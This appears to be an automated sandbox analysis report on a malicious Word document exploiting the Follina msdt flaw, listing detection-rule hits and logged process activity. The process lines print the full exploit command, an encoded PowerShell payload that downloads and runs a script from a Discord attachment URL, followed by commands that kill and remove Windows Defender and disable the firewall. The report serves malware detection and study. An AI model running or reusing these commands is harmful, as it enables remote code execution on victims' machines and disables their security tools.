Source: 00000003.00000002.612683977.0000000004FB4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: SUSP_Encoded_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN), score = , reference = Internal Research
Source: 00000003.00000002.601293130.0000000000878000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: SUSP_Encoded_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN), score = , reference = Internal Research
Source: 00000003.00000002.601293130.0000000000878000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: SUSP_PS1_Msdt_Execution_May22 date = 2022-05-31, author = Nasreddine Bencherchali, Christian Burkard, description = Detects suspicious calls of msdt.exe as seen in CVE-2022-30190 / Follina exploitation, score = , reference = https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e, modified = 2022-07-08
Source: 00000003.00000002.601032733.0000000000700000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: SUSP_Encoded_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN), score = , reference = Internal Research
Source: 00000003.00000002.601032733.0000000000700000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: SUSP_PS1_Msdt_Execution_May22 date = 2022-05-31, author = Nasreddine Bencherchali, Christian Burkard, description = Detects suspicious calls of msdt.exe as seen in CVE-2022-30190 / Follina exploitation, score = , reference = https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e, modified = 2022-07-08
Source: 00000003.00000002.604130120.00000000008DF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: SUSP_Encoded_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN), score = , reference = Internal Research
Source: Process Memory Space: msdt.exe PID: 5324, type: MEMORYSTR Matched rule: SUSP_Encoded_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN), score = , reference = Internal Research
Source: Process Memory Space: msdt.exe PID: 5324, type: MEMORYSTR Matched rule: SUSP_PS1_Msdt_Execution_May22 date = 2022-05-31, author = Nasreddine Bencherchali, Christian Burkard, description = Detects suspicious calls of msdt.exe as seen in CVE-2022-30190 / Follina exploitation, score = , reference = https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e, modified = 2022-07-08
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\AAB8F95.html, type: DROPPED Matched rule: SUSP_Encoded_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN), score = , reference = Internal Research
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\AAB8F95.html, type: DROPPED Matched rule: SUSP_PS1_Msdt_Execution_May22 date = 2022-05-31, author = Nasreddine Bencherchali, Christian Burkard, description = Detects suspicious calls of msdt.exe as seen in CVE-2022-30190 / Follina exploitation, score = , reference = https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e, modified = 2022-07-08
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\AAB8F95.html, type: DROPPED Matched rule: EXPL_Follina_CVE_2022_30190_Msdt_MSProtocolURI_May22 date = 2022-05-30, hash2 = 778cbb0ee4afffca6a0b788a97bc2f4855ceb69ddc5eaa230acfa2834e1aeb07, hash1 = 4a24048f81afbe9fb62e7a6a49adbd1faf41f266b5f9feecdceb567aec096784, author = Tobias Michalski, Christian Burkard, description = Detects the malicious usage of the ms-msdt URI as seen in CVE-2022-30190 / Follina exploitation, score = , reference = https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e, modified = 2022-07-18
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\a[1].html, type: DROPPED Matched rule: SUSP_Encoded_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN), score = , reference = Internal Research
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\a[1].html, type: DROPPED Matched rule: SUSP_PS1_Msdt_Execution_May22 date = 2022-05-31, author = Nasreddine Bencherchali, Christian Burkard, description = Detects suspicious calls of msdt.exe as seen in CVE-2022-30190 / Follina exploitation, score = , reference = https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e, modified = 2022-07-08
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\a[1].html, type: DROPPED Matched rule: EXPL_Follina_CVE_2022_30190_Msdt_MSProtocolURI_May22 date = 2022-05-30, hash2 = 778cbb0ee4afffca6a0b788a97bc2f4855ceb69ddc5eaa230acfa2834e1aeb07, hash1 = 4a24048f81afbe9fb62e7a6a49adbd1faf41f266b5f9feecdceb567aec096784, author = Tobias Michalski, Christian Burkard, description = Detects the malicious usage of the ms-msdt URI as seen in CVE-2022-30190 / Follina exploitation, score = , reference = https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e, modified = 2022-07-18
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\A8E05CE4.html, type: DROPPED Matched rule: SUSP_Encoded_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN), score = , reference = Internal Research
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\A8E05CE4.html, type: DROPPED Matched rule: SUSP_PS1_Msdt_Execution_May22 date = 2022-05-31, author = Nasreddine Bencherchali, Christian Burkard, description = Detects suspicious calls of msdt.exe as seen in CVE-2022-30190 / Follina exploitation, score = , reference = https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e, modified = 2022-07-08
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\A8E05CE4.html, type: DROPPED Matched rule: EXPL_Follina_CVE_2022_30190_Msdt_MSProtocolURI_May22 date = 2022-05-30, hash2 = 778cbb0ee4afffca6a0b788a97bc2f4855ceb69ddc5eaa230acfa2834e1aeb07, hash1 = 4a24048f81afbe9fb62e7a6a49adbd1faf41f266b5f9feecdceb567aec096784, author = Tobias Michalski, Christian Burkard, description = Detects the malicious usage of the ms-msdt URI as seen in CVE-2022-30190 / Follina exploitation, score = , reference = https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e, modified = 2022-07-18
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\a[1].html, type: DROPPED Matched rule: SUSP_Encoded_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN), score = , reference = Internal Research
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\a[1].html, type: DROPPED Matched rule: SUSP_PS1_Msdt_Execution_May22 date = 2022-05-31, author = Nasreddine Bencherchali, Christian Burkard, description = Detects suspicious calls of msdt.exe as seen in CVE-2022-30190 / Follina exploitation, score = , reference = https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e, modified = 2022-07-08
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\a[1].html, type: DROPPED Matched rule: EXPL_Follina_CVE_2022_30190_Msdt_MSProtocolURI_May22 date = 2022-05-30, hash2 = 778cbb0ee4afffca6a0b788a97bc2f4855ceb69ddc5eaa230acfa2834e1aeb07, hash1 = 4a24048f81afbe9fb62e7a6a49adbd1faf41f266b5f9feecdceb567aec096784, author = Tobias Michalski, Christian Burkard, description = Detects the malicious usage of the ms-msdt URI as seen in CVE-2022-30190 / Follina exploitation, score = , reference = https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e, modified = 2022-07-18
PE file contains executable resources (Code or Archives)
Source: AppxProvider.dll.33.dr Static PE information: Resource name: RT_VERSION type: COM executable for DOS
PE file does not import any functions
Source: WimProvider.dll.mui.33.dr Static PE information: No import functions for PE file found
Source: CbsProvider.dll.mui.33.dr Static PE information: No import functions for PE file found
Source: FfuProvider.dll.mui.33.dr Static PE information: No import functions for PE file found
Source: OSProvider.dll.mui.33.dr Static PE information: No import functions for PE file found
Source: DismCore.dll.mui.33.dr Static PE information: No import functions for PE file found
Source: DismProv.dll.mui.33.dr Static PE information: No import functions for PE file found
Source: DiagPackage.dll.3.dr Static PE information: No import functions for PE file found
Source: ProvProvider.dll.mui.33.dr Static PE information: No import functions for PE file found
Source: GenericProvider.dll.mui.33.dr Static PE information: No import functions for PE file found
Source: AssocProvider.dll.mui.33.dr Static PE information: No import functions for PE file found
Source: TransmogProvider.dll.mui.33.dr Static PE information: No import functions for PE file found
Source: SysprepProvider.dll.mui.33.dr Static PE information: No import functions for PE file found
Source: MsiProvider.dll.mui.33.dr Static PE information: No import functions for PE file found
Source: DmiProvider.dll.mui.33.dr Static PE information: No import functions for PE file found
Source: SetupPlatformProvider.dll.mui.33.dr Static PE information: No import functions for PE file found
Source: CompatProvider.dll.mui.33.dr Static PE information: No import functions for PE file found
Source: VhdProvider.dll.mui.33.dr Static PE information: No import functions for PE file found
Source: AppxProvider.dll.mui.33.dr Static PE information: No import functions for PE file found
Source: UnattendProvider.dll.mui.33.dr Static PE information: No import functions for PE file found
Source: FolderProvider.dll.mui.33.dr Static PE information: No import functions for PE file found
Source: SmiProvider.dll.mui.33.dr Static PE information: No import functions for PE file found
Source: IntlProvider.dll.mui.33.dr Static PE information: No import functions for PE file found
Source: ImagingProvider.dll.mui.33.dr Static PE information: No import functions for PE file found
Source: DiagPackage.dll.mui.3.dr Static PE information: No import functions for PE file found
Source: IBSProvider.dll.mui.33.dr Static PE information: No import functions for PE file found
Source: OfflineSetupProvider.dll.mui.33.dr Static PE information: No import functions for PE file found
Source: LogProvider.dll.mui.33.dr Static PE information: No import functions for PE file found
Source: v4nkfHg4d9.LNK.0.dr LNK file: ..\..\..\..\..\Desktop\v4nkfHg4d9.doc
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word Jump to behavior
Source: classification engine Classification label: mal100.troj.expl.evad.winDOC@37/91@4/7
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: v4nkfHg4d9.doc OLE document summary: title field not present or empty
Source: v4nkfHg4d9.doc OLE document summary: edited time not present or 0
Source: v4nkfHg4d9.doc ReversingLabs: Detection: 24%
Source: v4nkfHg4d9.doc Virustotal: Detection: 37%
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA Jump to behavior
Source: unknown Process created: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE "C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE" /Automation -Embedding
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process created: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE C:\Program Files (x86)\Microsoft Office\Office16\MsoSync.exe
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process created: C:\Windows\SysWOW64\msdt.exe C:\Windows\system32\msdt.exe" ms-msdt:/id PCWDiagnostic /skip force /param "IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'JCgkeCA9IEludm9rZS1XZWJSZXF1ZXN0IGh0dHBzOi8vY2RuLmRpc2NvcmRhcHAuY29tL2F0dGFjaG1lbnRzLzEwMTk3NjgyNDMzNDAyMDIwNDYvMTAxOTk5NjQ5NTg1ODExODc0Ny9wb3dlcnNoZWxsLnBzMSAtVXNlQmFzaWNQYXJzaW5nOyBJbnZva2UtRXhwcmVzc2lvbiAkKCR4LkNvbnRlbnQpKQ=='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO
Source: unknown Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3diak4dk\3diak4dk.cmdline
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES8678.tmp" "c:\Users\user\AppData\Local\Temp\3diak4dk\CSC56B0CC0123154593BDAD723DDD27D88.TMP"
Source: unknown Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\2ez4s4sm\2ez4s4sm.cmdline
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESA72F.tmp" "c:\Users\user\AppData\Local\Temp\2ez4s4sm\CSCC4857CBF94FC43E4BEE19B9FB307AC3.TMP"
Source: unknown Process created: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe C:\Windows\TEMP\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe
Source: unknown Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\vniik5rq\vniik5rq.cmdline
Source: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe Process created: C:\Windows\System32\cmd.exe cmd.exe
Source: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES1F9B.tmp" "c:\Users\user\AppData\Local\Temp\vniik5rq\CSCFD2BA8049D364133B9FE5D3896759AE.TMP"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\taskkill.exe TASKKILL /F /IM MsMpEng.exe
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\taskkill.exe TASKKILL /F /IM smartscreen.exe
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\msiexec.exe msiexec /uninstall windowsdefender.msi /quiet
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\sc.exe sc config WinDefend start= disabled
Source: unknown Process created: C:\Windows\System32\msiexec.exe C:\Windows\system32\msiexec.exe /V
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\netsh.exe netsh advfirewall set allprofiles state off
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\Dism.exe Dism /online /Disable-Feature /FeatureName:Windows-Defender /Remove /NoRestart /quiet
Source: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe Process created: C:\Users\user\AppData\Roaming\Tor\tor.exe C:\Users\user\AppData\Roaming\Tor\tor.exe
Source: C:\Users\user\AppData\Roaming\Tor\tor.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process created: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE C:\Program Files (x86)\Microsoft Office\Office16\MsoSync.exe Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process created: C:\Windows\SysWOW64\msdt.exe C:\Windows\system32\msdt.exe" ms-msdt:/id PCWDiagnostic /skip force /param "IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'JCgkeCA9IEludm9rZS1XZWJSZXF1ZXN0IGh0dHBzOi8vY2RuLmRpc2NvcmRhcHAuY29tL2F0dGFjaG1lbnRzLzEwMTk3NjgyNDMzNDAyMDIwNDYvMTAxOTk5NjQ5NTg1ODExODc0Ny9wb3dlcnNoZWxsLnBzMSAtVXNlQmFzaWNQYXJzaW5nOyBJbnZva2UtRXhwcmVzc2lvbiAkKCR4LkNvbnRlbnQpKQ=='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES8678.tmp" "c:\Users\user\AppData\Local\Temp\3diak4dk\CSC56B0CC0123154593BDAD723DDD27D88.TMP" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESA72F.tmp" "c:\Users\user\AppData\Local\Temp\2ez4s4sm\CSCC4857CBF94FC43E4BEE19B9FB307AC3.TMP" Jump to behavior
Source: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe Process created: C:\Windows\System32\cmd.exe cmd.exe Jump to behavior
Source: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Jump to behavior
Source: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe Process created: C:\Users\user\AppData\Roaming\Tor\tor.exe C:\Users\user\AppData\Roaming\Tor\tor.exe Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES1F9B.tmp" "c:\Users\user\AppData\Local\Temp\vniik5rq\CSCFD2BA8049D364133B9FE5D3896759AE.TMP" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\taskkill.exe TASKKILL /F /IM MsMpEng.exe Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\taskkill.exe TASKKILL /F /IM smartscreen.exe Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\msiexec.exe msiexec /uninstall windowsdefender.msi /quiet Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\sc.exe sc config WinDefend start= disabled Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\netsh.exe netsh advfirewall set allprofiles state off Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\Dism.exe Dism /online /Disable-Feature /FeatureName:Windows-Defender /Remove /NoRestart /quiet Jump to behavior
Source: C:\Windows\SysWOW64\msdt.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{88d96a05-f192-11d4-a65f-0040963251e5}\InProcServer32 Jump to behavior
Source: v4nkfHg4d9.doc OLE indicator, Word Document stream: true
Source: C:\Windows\System32\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = &quot;MsMpEng.exe&quot;)
Source: C:\Windows\System32\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = &quot;smartscreen.exe&quot;)
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE File created: C:\Users\user\AppData\Local\Temp\{9D0F3223-201E-45A4-9C93-7434B567825B} - OProcSessId.dat Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2860:120:WilError_01
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4888:120:WilError_01
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5616:120:WilError_01
Source: tor.exe String found in binary or memory: ./src/lib/net/address.h
Source: tor.exe String found in binary or memory: --install
Source: tor.exe String found in binary or memory: -install
Source: tor.exe String found in binary or memory: src/lib/net/address.c
Source: tor.exe String found in binary or memory: %d.%d.%d.%d.in-addr.arpa
Source: tor.exe String found in binary or memory: .in-addr.arpa
Source: tor.exe String found in binary or memory: 333333?./src/lib/net/address.h
Source: tor.exe String found in binary or memory: or-address
Source: tor.exe String found in binary or memory: dir-address
Source: tor.exe String found in binary or memory: My or-address line is <%s>
Source: tor.exe String found in binary or memory: or-address %s:%d
Source: tor.exe String found in binary or memory: signed_body+(end-start_of_annotations) == router->cache_info.signed_descriptor_body+len
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE File written: C:\Users\user\AppData\Local\Microsoft\Office\16.0\OfficeFileCache\CentralTable.ini Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\msdt.exe Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe File opened: C:\Windows\SysWOW64\MSFTEDIT.DLL Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE File opened: C:\Windows\SysWOW64\MSVCR100.dll Jump to behavior
Source: Binary string: DismCorePS.pdb source: Dism.exe, 00000021.00000003.572060604.000001F16DF33000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: GenericProvider.pdbGCTL source: Dism.exe, 00000021.00000003.595659251.000001F16DF34000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: DmiProvider.pdb source: Dism.exe, 00000021.00000003.574746184.000001F16DF33000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: DISMProv.pdbGCTL source: Dism.exe, 00000021.00000003.573713306.000001F16DF3B000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: DISMProv.pdb source: Dism.exe, 00000021.00000003.573713306.000001F16DF3B000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: AssocProvider.pdb source: Dism.exe, 00000021.00000003.553413044.000001F16DF33000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: FfuProvider.pdbGCTL source: Dism.exe, 00000021.00000003.594149548.000001F16DF34000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: dismhost.pdbGCTL source: Dism.exe, 00000021.00000003.573018658.000001F16DF49000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: dismhost.pdb source: Dism.exe, 00000021.00000003.573018658.000001F16DF49000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: IBSProvider.pdb source: Dism.exe, 00000021.00000003.598835671.000001F16DF34000.00000004.00000020.00020000.00000000.sdmp, IBSProvider.dll.33.dr
